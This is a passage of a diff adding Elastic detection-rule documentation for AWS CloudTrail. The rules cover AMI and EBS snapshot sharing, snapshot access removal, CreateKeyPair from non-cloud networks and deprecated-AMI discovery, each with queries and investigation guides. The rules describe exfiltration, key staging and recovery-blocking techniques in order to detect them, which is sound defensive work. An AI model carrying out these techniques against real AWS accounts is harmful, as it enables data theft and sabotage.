securing DynamoDB in AWS environments, refer to the https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/security.html[AWS DynamoDB documentation] and AWS best practices for security. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "dynamodb.amazonaws.com" + and event.action: "ExportTableToPointInTime" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ami-shared-with-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ami-shared-with-another-account.asciidoc new file mode 100644 index 0000000000..85e0cae239 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ami-shared-with-another-account.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-aws-ec2-ami-shared-with-another-account]] +=== AWS EC2 AMI Shared with Another Account + +Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.ec2-share-ami/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Exfiltration +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 AMI Shared with Another Account* + + +This rule identifies when an Amazon Machine Image (AMI) is shared with another AWS account. While sharing AMIs is a common practice, adversaries may exploit this feature to exfiltrate data by sharing AMIs with external accounts under their control. + + +*Possible Investigation Steps* + + +- **Review the Sharing Event**: Identify the AMI involved and review the event details in AWS CloudTrail. Look for `ModifyImageAttribute` actions where the AMI attributes were changed to include additional user accounts. + - **Request and Response Parameters**: Check the `aws.cloudtrail.request_parameters` and `aws.response.response_elements` fields in the CloudTrail event to identify the AMI ID and the user ID of the account with which the AMI was shared. +- **Verify the Shared AMI**: Check the AMI that was shared and its contents to determine the sensitivity of the data stored within it. +- **Contextualize with Recent Changes**: Compare this sharing event against recent changes in AMI configurations and deployments. Look for any other recent permissions changes or unusual administrative actions. +- **Validate External Account**: Examine the AWS account to which the AMI was shared. Determine whether this account is known and previously authorized to access such resources. +- **Interview Relevant Personnel**: If the share was initiated by a user, verify the intent and authorization for this action with the person or team responsible for managing AMI deployments. +- **Audit Related Security Policies**: Check the security policies governing AMI sharing within your organization to ensure they are being followed and are adequate to prevent unauthorized sharing. + + +*False Positive Analysis* + + +- **Legitimate Sharing Practices**: AMI sharing is a common and legitimate practice for collaboration and resource management in AWS. Always verify that the sharing activity was unauthorized before escalating. +- **Automation Tools**: Some organizations use automation tools for AMI management which might programmatically share AMIs. Verify if such tools are in operation and whether their actions are responsible for the observed behavior. +- **AWS Services**: Some AWS services, such as WorkSpaces and Backup, automate AMI sharing when users configure cross-account sharing or disaster recovery plans. These will appear in CloudTrail with `userIdentity.invokedBy` and `source.address` fields like `workspaces.amazonaws.com` or `backup.amazonaws.com`. Confirm that such activity aligns with your organization's approved configurations. + + +*Response and Remediation* + + +- **Review and Revoke Unauthorized Shares**: If the share is found to be unauthorized, immediately revoke the shared permissions from the AMI. +- **Enhance Monitoring of Shared AMIs**: Implement monitoring to track changes to shared AMIs and alert on unauthorized access patterns. +- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery. +- **Policy Update**: Review and possibly update your organization’s policies on AMI sharing to tighten control and prevent unauthorized access. +- **Educate Users**: Conduct training sessions for users involved in managing AMIs to reinforce best practices and organizational policies regarding AMI sharing. + + +*Additional Information* + + +For more information on managing and sharing AMIs, refer to the https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html[Amazon EC2 User Guide on AMIs] and https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html[Sharing AMIs]. Additionally, explore adversarial techniques related to data exfiltration via AMI sharing as documented by Stratus Red Team https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.ec2-share-ami/[here]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and event.provider: "ec2.amazonaws.com" + and event.action: ModifyImageAttribute and event.outcome: success + and aws.cloudtrail.request_parameters: *add=* + and not aws.cloudtrail.user_identity.invoked_by: "assets.marketplace.amazonaws.com" + and not user_agent.original: (*packer-plugin-amazon* or *Ansible*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc new file mode 100644 index 0000000000..1eeebb3112 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-aws-ec2-createkeypair-by-new-principal-from-non-cloud-as-organization]] +=== AWS EC2 CreateKeyPair by New Principal from Non-Cloud AS Organization + +Identifies the first time a given IAM principal successfully creates an EC2 key pair when the request is sourced from a network whose autonomous system organization is not attributed to common cloud or hyperscaler providers in your GeoIP data. Adversaries may call CreateKeyPair to stage SSH access material before launching or accessing instances. A new terms baseline on `user_identity.arn` suppresses repeated noise from the same principal while still surfacing the initial suspicious creation from an unusual egress label. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon EC2 +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 CreateKeyPair by New Principal from Non-Cloud AS Organization* + + +`CreateKeyPair` creates an Amazon EC2 SSH key pair in the account; the private key material is returned to the caller +once. This is useful for persistence or preparation for instance access. + +This **new terms** rule alerts the **first** time `aws.cloudtrail.user_identity.arn` matches the query within the +configured history window. Subsequent key-pair creations by the same principal (still matching the query) are +suppressed until the term ages out of the window. + + +*Possible investigation steps* + + +- Review `aws.cloudtrail.request_parameters` / `response_elements` for `keyName` and whether the key aligns with change + management. +- Correlate `source.ip`, `source.geo`, and `user_agent.original` with the principal’s normal admin paths. +- Hunt for `RunInstances`, `ImportKeyPair`, or Instance Connect activity involving the same key name or actor. + + +*False positive analysis* + + +- First-time legitimate admin activity from a new office or VPN provider. +- Missing `source.as.organization.name` enrichment would **not** match the query’s positive wildcard; confirm fields are + populated if you expect coverage. + + +*Response and remediation* + + +- If unauthorized: delete the key pair (`DeleteKeyPair`), review IAM for `ec2:CreateKeyPair`, and rotate any credentials + used by the actor. + + +*Additional information* + + +- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html[CreateKeyPair] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "CreateKeyPair" + and event.outcome: "success" + and source.as.organization.name: ( + * and not ( + "Amazon.com, Inc." or AMAZ* or "Google LLC" or "Microsoft Corporation" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-deprecated-ami-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-deprecated-ami-discovery.asciidoc new file mode 100644 index 0000000000..2210f889bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-deprecated-ami-discovery.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-aws-ec2-deprecated-ami-discovery]] +=== AWS EC2 Deprecated AMI Discovery + +Identifies when a user has queried for deprecated Amazon Machine Images (AMIs) in AWS. This may indicate an adversary looking for outdated AMIs that may be vulnerable to exploitation. While deprecated AMIs are not inherently malicious or indicative of a breach, they may be more susceptible to vulnerabilities and should be investigated for potential security risks. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS EC2 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Discovery +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Deprecated AMI Discovery* + + +This rule detects when a user queries AWS for deprecated Amazon Machine Images (AMIs). While deprecated AMIs are not inherently malicious, their use can introduce vulnerabilities or misconfigurations. Adversaries may exploit deprecated AMIs in search of outdated or unpatched systems. Investigating these queries can help identify potential risks or misconfigurations. + + +*Possible investigation steps* + + +**Identify the user**: + - Review the `aws.cloudtrail.user_identity.arn` field to determine the AWS user or role making the request. + - Check `aws.cloudtrail.user_identity.type` and `aws.cloudtrail.user_identity.access_key_id` to verify the type of access (e.g., IAM user, role, or federated identity). + +**Analyze the source**: + - Review the `source.ip` field to determine the IP address of the source making the request. + - Check `source.geo` for the geographic location of the IP address. + - Analyze the `user_agent.original` field to determine the client or tool used (e.g., AWS CLI, SDK). + +**Validate the query context**: + - Inspect the `aws.cloudtrail.request_parameters` field + - Determine if the request is part of legitimate activity, such as: + - Security assessments or vulnerability scans. + - Maintenance or testing of legacy systems. + - Check if the query aligns with recent changes in the AWS environment, such as new configurations or services. + +**Correlate with other events**: + - Investigate additional AWS API calls from the same user or IP address for signs of reconnaissance or exploitation. + - Review logs for related actions, such as launching instances from deprecated AMIs (`RunInstances` API call). + +**Assess security risks**: + - Evaluate the use of deprecated AMIs within your environment and their associated vulnerabilities. + - Ensure that deprecated AMIs are not being used in production environments or systems exposed to external threats. + + +*False positive analysis* + + +- Users may query for deprecated AMIs for testing or compatibility purposes. +- Security or compliance tools might query deprecated AMIs as part of regular assessments. +- Legacy systems may rely on deprecated AMIs for compatibility, leading to legitimate queries. + + +*Response and remediation* + + +**Immediate actions**: + - Verify the intent of the user querying for deprecated AMIs. + - Restrict IAM permissions to prevent unauthorized access to deprecated AMIs. + +**Mitigation steps**: + - Identify and replace deprecated AMIs in use with supported and updated AMIs. + - Update AWS IAM policies to minimize permissions for querying or using deprecated AMIs. + +**Enhance monitoring**: + - Enable alerts for future queries involving deprecated AMIs or other unusual API activity. + - Monitor CloudTrail logs for additional reconnaissance or suspicious behavior. + +**Security audits**: + - Conduct a review of all AMIs in use across your environment to identify outdated or deprecated images. + - Remove any deprecated AMIs from production environments and restrict their usage to isolated testing. + +**Add rule exceptions**: + - Create exceptions for legitimate use cases or automated tools that query for deprecated AMIs. + - Document and communicate the exceptions to relevant teams to avoid future alerts. + + +*Additional resources* + + +- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html[AWS Documentation: AMI Lifecycle Management] +- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-deprecate.html[AWS Documentation: Deprecated AMIs] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "DescribeImages" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.includeDeprecated: "true" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-access-removed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-access-removed.asciidoc new file mode 100644 index 0000000000..a4904e6a85 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-access-removed.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-access-removed]] +=== AWS EC2 EBS Snapshot Access Removed + +Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Impact +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 EBS Snapshot Access Removed* + + +This rule detects when access is removed for an AWS EC2 EBS snapshot. EBS virtual disks can be copied into snapshots, which can then be used as backups for recovery and data retention efforts. Adversaries may attempt to remove access to snapshots in order to prevent legitimate users or automated processes from accessing or restoring from snapshots following data loss, ransomware, or destructive actions. This can significantly delay or even prevent recovery, increasing the impact of the attack. Restricting snapshot access may help adversaries cover their tracks by making it harder for defenders to analyze or recover deleted or altered data. Attackers may remove permissions for all users except their own compromised account, allowing them to maintain exclusive access to backups for future use or leverage. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious. + + +*Possible investigation steps:* + + +- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. Evaluate whether the identity is authorized to manage EBS snapshot permissions (check IAM policies for `ec2:ModifySnapshotAttribute`). + +- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. Review `user_agent.original` to determine if the request came from an expected administrative tool or host. + +- **Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to understand which accounts or entities had access removed. + - Look for unusual patterns such as `createVolumePermission={remove=all}` or removal of specific external or organizational accounts. + - Cross-check the affected `snapshotId` in the AWS console or via CLI to confirm current sharing status and determine if any copies or dependent volumes exist. + - Use AWS Config or AWS CLI (`describe-snapshot-attribute`) to verify whether other snapshots were modified within the same timeframe. + +- **Correlate with other activities**: + - Search CloudTrail for additional activity from the same actor or `source.ip` around the event time. + - Pay special attention to subsequent `DeleteSnapshot`, `DeregisterImage`, or `RevokeSnapshotAccess` events, which may signal ongoing destruction. + - Check for parallel IAM activity, such as policy changes that grant or revoke permissions. + - Correlate with GuardDuty or Security Hub findings related to data exfiltration, destructive actions, or unauthorized configuration changes. + - Determine if any high-value or production snapshots were affected, especially those linked to business-critical EBS volumes. + +- **Evaluate timing and intent**: Compare `@timestamp` with maintenance windows or known change requests. Actions taken outside approved hours or without associated tickets may indicate compromise or sabotage. If this change coincides with other detections (for example, `EBS encryption disabled` or `root login` events), treat it as part of a coordinated impact campaign. + + +*False positive analysis:* + + +- **Planned administrative maintenance**: Confirm whether this snapshot modification aligns with backup rotation, retention policy enforcement, or snapshot lifecycle automation. +- **Automation and tooling**: Infrastructure-as-code pipelines or DevOps scripts may legitimately remove snapshot sharing to enforce compliance. Review tags, user agents, and automation identifiers. +- **Testing or sandbox accounts**: Some non-production environments may modify snapshot access for isolation. Validate account purpose before escalating. + +If the action was expected, document the change approval and reconcile against internal audit or change-control systems. + + +*Response and remediation:* + + +**Containment and validation** +- Review and, if necessary, restore snapshot permissions using AWS Console or CLI (`modify-snapshot-attribute` with `add` parameters). +- Confirm that no additional snapshots or AMIs have had access removed. +- Restrict `ec2:ModifySnapshotAttribute` permissions to only trusted administrative roles. + +**Investigate for data destruction or persistence** +- Determine if the same actor also deleted or copied snapshots (`DeleteSnapshot`, `CopySnapshot`). +- Review subsequent volume creation or image registration events that could indicate snapshot reuse. +- Identify whether any snapshot was shared to or copied by an external AWS account. + +**Strengthen detection and monitoring** +- Enable AWS Config rules and Security Hub controls such as `ebs-snapshot-public-restorable-check`. +- Establish continuous monitoring for `ModifySnapshotAttribute` and `DeleteSnapshot` operations. +- Correlate future detections with user identity and source IP context to identify recurring behavior. + +**Recovery and hardening** +- Verify that critical snapshots and backups are retained and encrypted. +- Implement backup immutability with AWS Backup Vault Lock or S3 Object Lock for long-term protection. +- Apply service control policies (SCPs) to prevent unauthorized modification of snapshot sharing attributes. +- Conduct a post-incident review to identify the root cause and strengthen least-privilege enforcement for EBS management roles. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "ModifySnapshotAttribute" + and event.outcome == "success" + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "remove=") + and not source.address == "backup.amazonaws.com" + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc new file mode 100644 index 0000000000..5f5a1b3951 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-aws-ec2-ebs-snapshot-shared-or-made-public]] +=== AWS EC2 EBS Snapshot Shared or Made Public + +Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 EBS Snapshot Shared or Made Public* + + +This rule detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots store copies of data volumes that may contain sensitive or regulated information. Adversaries may exploit the `ModifySnapshotAttribute` API to share these snapshots externally, allowing them to copy and access the data in an environment they control. This activity is commonly associated with data exfiltration or persistence techniques, where attackers transfer data outside the victim account or prepare backups they can later retrieve. Public sharing (`group=all`) represents a severe data exposure risk, as it makes the snapshot globally readable. + + +*Possible investigation steps:* + + +**Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who modified the snapshot’s permissions. Evaluate whether this identity is authorized to share EBS snapshots (check IAM policies for `ec2:ModifySnapshotAttribute`). + +**Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An unfamiliar or external location may indicate compromised credentials or unauthorized access. Review `user_agent.original` to confirm whether the request originated from an expected administrative tool or host. + +**Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to determine which AWS account(s) were added to the `createVolumePermission` list. + - If the account ID matches the snapshot owner’s account, this is redundant and typically non-malicious. + - If another account ID or `group=all` appears, verify whether the target is an approved AWS Organization account or an external party. + - Cross-check the affected `snapshotId` in the AWS console or via CLI (`describe-snapshot-attribute`) to confirm current sharing status. + - Identify whether other snapshots or AMIs were shared in the same timeframe. + +**Correlate with other activities**: + - Search CloudTrail for related events involving the same actor or `source.ip`. + - Look for `CreateSnapshot`, `CopySnapshot`, `ExportImage`, or `PutBucketAcl` events that could indicate broader exfiltration or replication behavior. + - Correlate with detections such as `EBS Snapshot Access Removed` or `EBS Encryption Disabled`, which may signal a coordinated campaign involving both exfiltration and impact. + - Check GuardDuty and Security Hub for findings related to data exposure, cross-account sharing, or unauthorized data transfer. + +**Evaluate timing and intent**: Compare `@timestamp` against scheduled maintenance or approved change windows. Actions performed outside business hours or without documented change tickets should be prioritized for review. + + +*False positive analysis:* + + +- **Authorized internal sharing**: Confirm if the snapshot sharing was part of an approved workflow, such as internal replication or migration between AWS Organization accounts. +- **Automated replication or tooling**: Infrastructure-as-code or backup automation may temporarily share snapshots for cross-region or cross-account transfers. Verify automation identifiers, source IPs, and tags. +- **Self-account addition**: Adding the owner’s own account ID to `createVolumePermission` has no operational impact and can be safely ignored. + +If verified as legitimate, document the event under change management and reconcile it against organizational policies for snapshot sharing. + + +*Response and remediation:* + + +**Containment and validation** +- If unauthorized, immediately remove added permissions using the AWS CLI: + `aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Remove=[{UserId=}]"` +- Revoke public sharing (`group=all`) to prevent external access. +- Restrict `ec2:ModifySnapshotAttribute` permissions to trusted administrative roles only. + +**Investigate for data exfiltration or persistence** +- Determine whether the shared snapshot was copied to another account (`CopySnapshot`). +- Engage AWS Support if evidence suggests external copying or data theft. +- Review subsequent API calls or IAM changes for further persistence or data movement. + +**Strengthen detection and monitoring** +- Enable AWS Config rules such as `ebs-snapshot-public-restorable-check`. +- Implement continuous monitoring for `ModifySnapshotAttribute` and `CopySnapshot` operations. +- Correlate future detections by actor, access key, and source IP to identify repeated or automated exfiltration attempts. + +**Recovery and hardening** +- Enable default encryption and validate that all snapshots remain private. +- Apply Service Control Policies (SCPs) to prevent public snapshot sharing organization-wide. +- Audit existing snapshots to ensure no others have unauthorized permissions. +- Implement least-privilege IAM principles and enforce multi-factor authentication (MFA) for administrative accounts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: reference playbooks for investigating data exfiltration and unauthorized access. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: example framework for developing custom playbooks for snapshot configuration and data protection. +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "ModifySnapshotAttribute" + and event.outcome == "success" + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "add=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 